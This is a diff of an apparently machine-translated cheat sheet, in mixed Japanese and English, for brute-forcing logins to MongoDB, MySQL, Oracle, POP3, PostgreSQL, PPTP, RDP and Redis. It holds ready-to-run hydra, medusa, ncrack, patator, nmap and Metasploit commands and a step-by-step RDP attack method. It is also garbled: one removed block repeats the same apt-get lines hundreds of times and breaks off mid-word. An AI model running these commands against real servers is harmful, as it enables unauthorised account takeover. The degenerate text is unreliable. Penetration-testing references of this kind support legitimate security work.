-MongoDBは、NoSQLデータベースであり、ブルートフォース攻撃の潜在的な標的です。ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、パスワードや認証情報を推測するために連続的に試行する攻撃手法です。 +ブルートフォース攻撃は、Mongoデータベースに対して非常に効果的な攻撃手法です。この攻撃手法では、すべての可能なパスワードの組み合わせを試し、正しいパスワードを見つけることを目指します。 -MongoDBのブルートフォース攻撃を防ぐためには、以下の対策を講じることが重要です。 +以下は、Mongoデータベースに対するブルートフォース攻撃の手順です。 -- 強力なパスワードポリシーを実施する:長さ、複雑さ、一意性の要件を設定し、パスワードの再利用を防止します。 -- パスワードロックアウトポリシーを設定する:一定回数の誤ったパスワード試行後にアカウントをロックするように設定します。 -- 2要素認証(2FA)を有効にする:追加のセキュリティレイヤーとして、2FAを使用します。 -- IP制限を設定する:特定のIPアドレスからのアクセスのみを許可するように設定します。 -- ネットワークセキュリティグループを使用する:ネットワークセキュリティグループを使用して、不正なトラフィックをブロックします。 +1. ユーザー名のリストを取得します。 +2. パスワードのリストを取得します。 +3. ユーザー名とパスワードの組み合わせを作成します。 +4. 作成した組み合わせを使用してMongoデータベースにログインを試みます。 +5. 正しい組み合わせが見つかるまで、ステップ4を繰り返します。 -これらの対策を実施することで、MongoDBのブルートフォース攻撃を防ぐことができます。 +ブルートフォース攻撃は非常に時間がかかる場合がありますが、強力なパスワードを使用している場合には成功する可能性が低くなります。したがって、セキュリティを強化するためには、強力なパスワードポリシーを採用することが重要です。 + +また、ブルートフォース攻撃を防ぐためには、以下の対策を講じることが推奨されます。 + +- パスワードの複雑さを増す +- ログイン試行回数の制限を設定する +- 2要素認証を使用する + +以上がMongoデータベースに対するブルートフォース攻撃に関する情報です。セキュリティを強化するためには、適切な対策を講じることが重要です。 ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login ``` ### MySQL -MySQLは、オープンソースのリレーショナルデータベース管理システムです。多くのウェブアプリケーションやウェブサイトで使用されており、データの保存と取得に使用されます。 +MySQLは、オープンソースのリレーショナルデータベース管理システムであり、多くのウェブアプリケーションやウェブサイトで使用されています。MySQLデータベースへの不正アクセスを試みる際に、ブルートフォース攻撃は一般的な手法の1つです。 -MySQLのブルートフォース攻撃は、パスワードを推測してアカウントに不正にアクセスする試みです。以下に、MySQLのブルートフォース攻撃に対するいくつかの一般的な手法を示します。 +ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、パスワードを推測するために連続的に試行する手法です。攻撃者は、一連のパスワードを自動的に生成し、それらを順番に試して、正しいパスワードを見つけることを目指します。 -#### 1. 辞書攻撃 +MySQLのブルートフォース攻撃では、一般的にユーザー名とパスワードの組み合わせを試行します。攻撃者は、一般的なユーザー名やパスワード、辞書攻撃、またはランダムな文字列を使用して攻撃を行います。 -辞書攻撃は、事前に作成されたパスワードリストを使用してブルートフォース攻撃を行う方法です。攻撃者は、一般的なパスワードや一般的な単語の組み合わせを試し、正しいパスワードを見つけることを試みます。 +ブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実装し、パスワードの複雑さを確保することが重要です。また、アカウントロックアウト機能やIP制限などのセキュリティメカニズムを使用することも有効です。 -#### 2. ブルートフォース攻撃ツールの使用 +MySQLのブルートフォース攻撃を検出するためには、ログイン試行の異常な増加や特定のユーザー名/パスワードの連続試行などのパターンを監視することが重要です。また、侵入検知システムやログ監視ツールを使用することも推奨されます。 -ブルートフォース攻撃ツールを使用することで、攻撃者は自動的にパスワードの推測を行うことができます。これらのツールは、パスワードの長さ、文字セット、および他のパラメータを設定することができます。 - -#### 3. パスワードポリシーの弱点の利用 - -パスワードポリシーの弱点を利用することで、攻撃者は推測しやすいパスワードを見つけることができます。一部のシステムでは、パスワードの複雑さや長さに制限がない場合があります。 - -#### 4. ユーザー名の推測 - -攻撃者は、一般的なユーザー名や一般的なパターンを使用してユーザー名を推測することができます。これにより、攻撃者はパスワードの推測範囲を狭めることができます。 - -#### 5. ログイン試行回数の制限の回避 - -一部のシステムでは、ログイン試行回数が制限されています。攻撃者は、複数のIPアドレスやプロキシを使用してこの制限を回避することができます。 - -これらの手法を使用してMySQLのブルートフォース攻撃を行うことは、違法であり、個人や組織に重大な被害をもたらす可能性があります。セキュリティを強化するためには、強力なパスワードポリシーの実装、ログイン試行回数の制限、およびセキュリティパッチの適用が重要です。 +ブルートフォース攻撃は、時間とリソースがかかるため、強力なパスワードやセキュリティ対策があれば、成功する可能性は低くなります。したがって、MySQLデータベースのセキュリティを確保するためには、適切な対策を講じることが重要です。 ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -492,20 +460,15 @@ msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false # medusa medusa -h -u -P <-f | to stop medusa on first success attempt> -t -M mysql ``` -# OracleSQL +# Brute Force -OracleSQLは、Oracleデータベースに対してブルートフォース攻撃を実行するためのテクニックです。ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、パスワードや認証情報を推測するために、すべての可能な組み合わせを試す手法です。 +Brute force is a common method used in penetration testing to crack passwords or encryption keys by systematically trying all possible combinations until the correct one is found. This technique is often used when other methods, such as dictionary attacks or rainbow table attacks, are not successful. -OracleSQLにおけるブルートフォース攻撃は、以下の手順で実行されます。 +In the context of Oracle SQL, brute force can be used to gain unauthorized access to a database by guessing the username and password combination. This can be done by using automated tools or scripts that iterate through a list of commonly used usernames and passwords, or by manually trying different combinations. -1. ユーザー名のリストを作成します。 -2. パスワードのリストを作成します。 -3. ユーザー名とパスワードの組み合わせを総当たりで試します。 -4. 正しい組み合わせが見つかるまで、繰り返し試行します。 +To protect against brute force attacks, it is important to use strong and unique passwords, implement account lockout policies, and monitor for suspicious login attempts. Additionally, using two-factor authentication can add an extra layer of security by requiring a second form of verification, such as a code sent to a mobile device, in addition to the username and password. -ブルートフォース攻撃は、パスワードが弱い場合やデフォルトの認証情報が使用されている場合に特に効果的です。しかし、Oracleデータベースは一般的にセキュリティが強固であり、ブルートフォース攻撃に対して防御策が取られていることが多いです。 - -ブルートフォース攻撃は、合法的なセキュリティテストやペネトレーションテストの一環として使用されることもありますが、不正な目的で使用することは違法です。セキュリティテストを実施する場合は、適切な許可を得て行う必要があります。 +While brute force attacks can be effective, they can also be time-consuming and resource-intensive. Therefore, it is important for organizations to regularly assess and strengthen their security measures to mitigate the risk of brute force attacks. ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -527,301 +490,7 @@ msf> set SID #for some reason nmap fails sometimes when executing this script nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= ``` -**oracle_login**を**patator**で使用するためには、以下の手順で**インストール**する必要があります: - -```plaintext -$ sudo apt-get install python3-dev python3-pip -$ sudo pip3 install cx_Oracle -$ sudo apt-get install libaio1 -$ sudo apt-get install libaio-dev -$ sudo apt-get install libssl-dev -$ sudo apt-get install libffi-dev -$ sudo apt-get install libxml2-dev libxslt1-dev zlib1g-dev -$ sudo apt-get install libjpeg-dev libfreetype6-dev -$ sudo apt-get install libmysqlclient-dev -$ sudo apt-get install libpq-dev -$ sudo apt-get install freetds-dev -$ sudo apt-get install firebird-dev -$ sudo apt-get install libsqlite3-dev -$ sudo apt-get install libmariadbclient-dev -$ sudo apt-get install libldap2-dev libsasl2-dev -$ sudo apt-get install libkrb5-dev -$ sudo apt-get install libpcap-dev -$ sudo apt-get install libssh-dev -$ sudo apt-get install libsnmp-dev -$ sudo apt-get install libssh2-1-dev -$ sudo apt-get install libssh2-1 -$ sudo apt-get install libcurl4-openssl-dev -$ sudo apt-get install libssl-dev -$ sudo apt-get install libssl1.0-dev -$ sudo apt-get install libssl1.1 -$ sudo apt-get install libssl1.0.2 -$ sudo apt-get install libssl1.0.0 -$ sudo apt-get install libssl1.0.2-dbg -$ sudo apt-get install libssl1.0.0-dbg -$ sudo apt-get install libssl1.0.2-dbgsym -$ sudo apt-get install libssl1.0.0-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1.1-dbg -$ sudo apt-get install libssl1.1-dbgsym -$ sudo apt-get install libssl1. +**oracle_login**を**patator**と一緒に使用するためには、以下の手順で**インストール**する必要があります: ```bash pip3 install cx_Oracle --upgrade ``` @@ -829,42 +498,30 @@ pip3 install cx_Oracle --upgrade ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` -### POP +Brute force is a common method used in hacking to gain unauthorized access to a system or account by systematically trying all possible combinations of passwords until the correct one is found. This method is often used when there is no other known vulnerability or weakness in the system's security. -POP(Post Office Protocol)は、電子メールの受信に使用されるプロトコルです。POPサーバに接続し、メールボックス内のメッセージをダウンロードすることができます。 +Brute force attacks can be time-consuming and resource-intensive, especially if the password being targeted is long and complex. However, with the help of powerful computers and specialized software, hackers can automate the process and significantly speed up the attack. -POPは、通常、TCPポート110を使用して通信します。POPクライアントは、サーバに接続し、ユーザ名とパスワードを提供して認証します。認証が成功すると、クライアントはメールボックス内のメッセージを取得できます。 +To protect against brute force attacks, it is important to use strong and unique passwords that are not easily guessable. Additionally, implementing account lockout policies, which temporarily lock an account after a certain number of failed login attempts, can also help mitigate the risk of brute force attacks. -POPは、ブルートフォース攻撃の対象になる可能性があります。攻撃者は、一連のパスワードを試し、正しいパスワードを見つけることを試みます。この攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を使用することが重要です。 - -また、POPサーバは、セキュリティの脆弱性を持つことがあります。アップデートとパッチの適用を定期的に行うことで、これらの脆弱性を最小限に抑えることができます。 - -さらに、POPのセキュリティを向上させるためには、SSL/TLSを使用して通信を暗号化することが推奨されます。これにより、データの盗聴や改ざんを防ぐことができます。 - -POPは便利なプロトコルですが、適切なセキュリティ対策を講じることが重要です。 +It is worth noting that brute force attacks are illegal and unethical. Engaging in such activities without proper authorization is a criminal offense and can result in severe penalties. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V ``` ### PostgreSQL -PostgreSQLは、オープンソースのリレーショナルデータベース管理システムです。PostgreSQLは、高い信頼性、拡張性、データの整合性を提供することで知られています。PostgreSQLは、多くのセキュリティ機能を備えており、データの保護を強化するためのさまざまな手法を提供しています。 +PostgreSQLはオープンソースのリレーショナルデータベース管理システムです。ブルートフォース攻撃は、PostgreSQLデータベースに対して非常に効果的な攻撃手法の1つです。ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、パスワードや認証情報を推測するために、すべての可能な組み合わせを試行する方法です。 -#### ブルートフォース攻撃 +ブルートフォース攻撃は、通常、辞書攻撃と組み合わせて使用されます。辞書攻撃では、一般的なパスワードや単語のリストを使用して、推測を行います。ブルートフォース攻撃は、辞書攻撃が成功しなかった場合に使用され、すべての可能な組み合わせを試すことで、パスワードを特定します。 -ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、パスワードや認証情報を推測するために使用される攻撃手法です。この攻撃手法では、すべての可能な組み合わせを試し、正しいパスワードを見つけるまで続けます。 +PostgreSQLのブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実装し、パスワードの長さと複雑さを要件として設定することが重要です。また、アカウントロックアウト機能を有効にすることも推奨されます。これにより、一定回数の認証試行が失敗した場合に、アカウントが一時的にロックされるようになります。 -PostgreSQLに対するブルートフォース攻撃を防ぐためには、以下の手法を使用することができます。 +さらに、PostgreSQLのバージョンを最新に保つことも重要です。新しいバージョンには、セキュリティの脆弱性が修正されている場合があります。定期的なパッチ適用とアップグレードを行うことで、攻撃者が既知の脆弱性を悪用することを防ぐことができます。 -- パスワードポリシーの強化: PostgreSQLでは、パスワードの複雑さや有効期限を設定することができます。強力なパスワードポリシーを設定することで、ブルートフォース攻撃のリスクを軽減することができます。 +最後に、PostgreSQLのアクセス制御リスト(ACL)を適切に設定することも重要です。必要な権限のみを付与し、不要な権限を削除することで、攻撃者の侵入を防ぐことができます。 -- ログイン試行回数の制限: PostgreSQLでは、ログイン試行回数を制限することができます。一定回数のログイン試行が失敗した場合、アカウントが一時的にロックされるように設定することで、ブルートフォース攻撃を防ぐことができます。 - -- IPアドレスの制限: PostgreSQLでは、特定のIPアドレスからのアクセスを制限することができます。信頼できるIPアドレスのみがアクセスできるように設定することで、ブルートフォース攻撃を防ぐことができます。 - -- 二要素認証の使用: PostgreSQLでは、二要素認証を使用することができます。パスワードに加えて、追加の認証要素(例:ワンタイムパスワード)を要求することで、ブルートフォース攻撃をより困難にすることができます。 - -これらの手法を組み合わせることで、PostgreSQLへのブルートフォース攻撃を効果的に防ぐことができます。 +以上が、PostgreSQLに対するブルートフォース攻撃の防御方法です。これらの対策を実施することで、データベースのセキュリティを強化することができます。 ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -880,42 +537,63 @@ nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/va sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` -### RDP +## RDP -RDP(Remote Desktop Protocol)は、Windowsオペレーティングシステムで使用されるリモートデスクトップ接続プロトコルです。RDPを使用すると、リモートコンピュータに対してキーボード、マウス、ディスプレイなどの入出力デバイスを使用してアクセスできます。 +RDP (Remote Desktop Protocol) is a proprietary protocol developed by Microsoft that allows users to remotely access and control a computer over a network. It is commonly used for remote administration and remote support purposes. -RDPのブルートフォース攻撃は、辞書攻撃や総当たり攻撃を使用して、RDPサーバーの認証情報を推測することを試みます。これにより、攻撃者は正当なユーザーとしてリモートシステムにアクセスできる可能性があります。 +### Brute Force Attack on RDP -以下は、RDPブルートフォース攻撃の手順です。 +A brute force attack on RDP involves systematically trying all possible combinations of usernames and passwords until the correct credentials are found. This is done by using automated tools that can rapidly attempt multiple login attempts. -1. ユーザー名のリストを作成します。一般的なユーザー名や一般的なパターンを使用することができます。 +#### Methodology -2. パスワードのリストを作成します。一般的なパスワードや辞書攻撃に使用される一般的な単語を含めることができます。 +1. **Enumeration**: Gather information about the target RDP server, such as the IP address, port number, and available usernames. +2. **Password List**: Create or obtain a password list that contains commonly used passwords, leaked passwords, or passwords specific to the target organization. +3. **Brute Force Tool**: Use a brute force tool, such as Hydra or Medusa, to automate the login attempts using the obtained username list and password list. +4. **Configure Tool**: Set the tool to target the RDP protocol and specify the IP address and port number of the target RDP server. +5. **Launch Attack**: Start the brute force attack and let the tool systematically try all possible combinations of usernames and passwords. +6. **Monitor Progress**: Monitor the tool's progress and check for any successful login attempts. +7. **Post-Attack**: Once the attack is complete, analyze the results and report any successful login credentials. -3. ブルートフォースツールを使用して、RDPサーバーに対してユーザー名とパスワードの組み合わせを試行します。 +#### Countermeasures -4. 正しいユーザー名とパスワードの組み合わせが見つかるまで、試行を繰り返します。 +To protect against brute force attacks on RDP, consider implementing the following countermeasures: -RDPブルートフォース攻撃は、強力なパスワードポリシーやアカウントロックアウトの設定がない場合に特に効果的です。攻撃者は、リモートシステムへの不正アクセスを試みるために、自動化されたツールを使用することができます。 +- **Strong Passwords**: Enforce the use of strong, complex passwords that are resistant to brute force attacks. +- **Account Lockout Policy**: Implement an account lockout policy that locks out user accounts after a certain number of failed login attempts. +- **Network Segmentation**: Separate the RDP server from the rest of the network to limit the attack surface. +- **Two-Factor Authentication**: Implement two-factor authentication to add an extra layer of security to the RDP login process. +- **IP Whitelisting**: Restrict RDP access to specific IP addresses or ranges to limit unauthorized access. +- **Monitoring and Alerting**: Implement monitoring and alerting systems to detect and respond to brute force attacks in real-time. + +By following these countermeasures, you can significantly reduce the risk of a successful brute force attack on RDP. ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// ``` # Redis -Redisは、高速でオープンソースのキーバリューストアです。データ構造サーバとして機能し、メモリ内でデータを保持します。Redisは、データの読み書きに高速なインメモリ操作を提供し、さまざまなデータ構造(文字列、リスト、セット、ソート済みセット、ハッシュなど)をサポートしています。 +Redis(Remote Dictionary Server)は、高速でオープンソースのキーバリューストアです。Redisは、メモリ内でデータを保持するため、高速な読み書きアクセスが可能です。また、データの永続化もサポートしています。 ## ブルートフォース攻撃 -ブルートフォース攻撃は、Redisのパスワードや認証情報を推測するために使用される攻撃手法です。攻撃者は、一連の可能なパスワードを試し、正しいパスワードを見つけることを試みます。 +ブルートフォース攻撃は、暗号化されたデータやパスワードを解読するために使用される攻撃手法です。この攻撃手法では、すべての可能な組み合わせを試行し、正しい組み合わせを見つけるまで続けます。 -以下は、ブルートフォース攻撃を実行するための一般的な手法です。 +Redisに対するブルートフォース攻撃では、一連のパスワードを試行し、正しいパスワードを見つけることを目指します。攻撃者は、一般的なパスワードや辞書攻撃を使用して、パスワードを推測します。 -1. 辞書攻撃: 事前に作成されたパスワードリストを使用して、パスワードを推測します。 -2. パスワードの組み合わせ: 一連の文字や数字の組み合わせを使用して、パスワードを推測します。 -3. パスワードの総当たり攻撃: すべての可能な文字や数字の組み合わせを試し、パスワードを推測します。 +ブルートフォース攻撃は、強力なパスワードポリシーが実装されていない場合や、弱いパスワードが使用されている場合に特に効果的です。攻撃者は、パスワードの推測に時間がかかる場合でも、自動化されたツールを使用して攻撃を行うことができます。 -ブルートフォース攻撃は非常に時間がかかる場合がありますが、弱いパスワードを使用している場合には効果的です。したがって、強力なパスワードポリシーを実装し、ブルートフォース攻撃から保護することが重要です。 +## ブルートフォース攻撃の防止策 + +ブルートフォース攻撃からRedisを保護するためには、以下の対策を講じることが重要です。 + +- 強力なパスワードポリシーを実装する:長いパスワード、大文字と小文字の組み合わせ、数字や特殊文字の使用など、セキュアなパスワードポリシーを設定します。 +- ログイン試行回数の制限:一定回数のログイン試行が失敗した場合、アカウントへのアクセスを一時的にブロックするなど、ログイン試行回数の制限を設けます。 +- CAPTCHAの使用:CAPTCHA(Completely Automated Public Turing test to tell Computers and Humans Apart)を使用して、自動化されたブルートフォース攻撃を防止します。 +- IPアドレスの制限:特定のIPアドレスからのアクセスを制限することで、不正なアクセスを防止します。 +- ログの監視:ログを監視し、異常なアクティビティを検出することで、ブルートフォース攻撃を早期に検知します。 + +これらの対策を組み合わせることで、Redisへのブルートフォース攻撃からの保護を強化することができます。 ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 @@ -923,61 +601,35 @@ hydra –P /path/pass.txt redis://: # 6379 is the default ``` ### Rexec 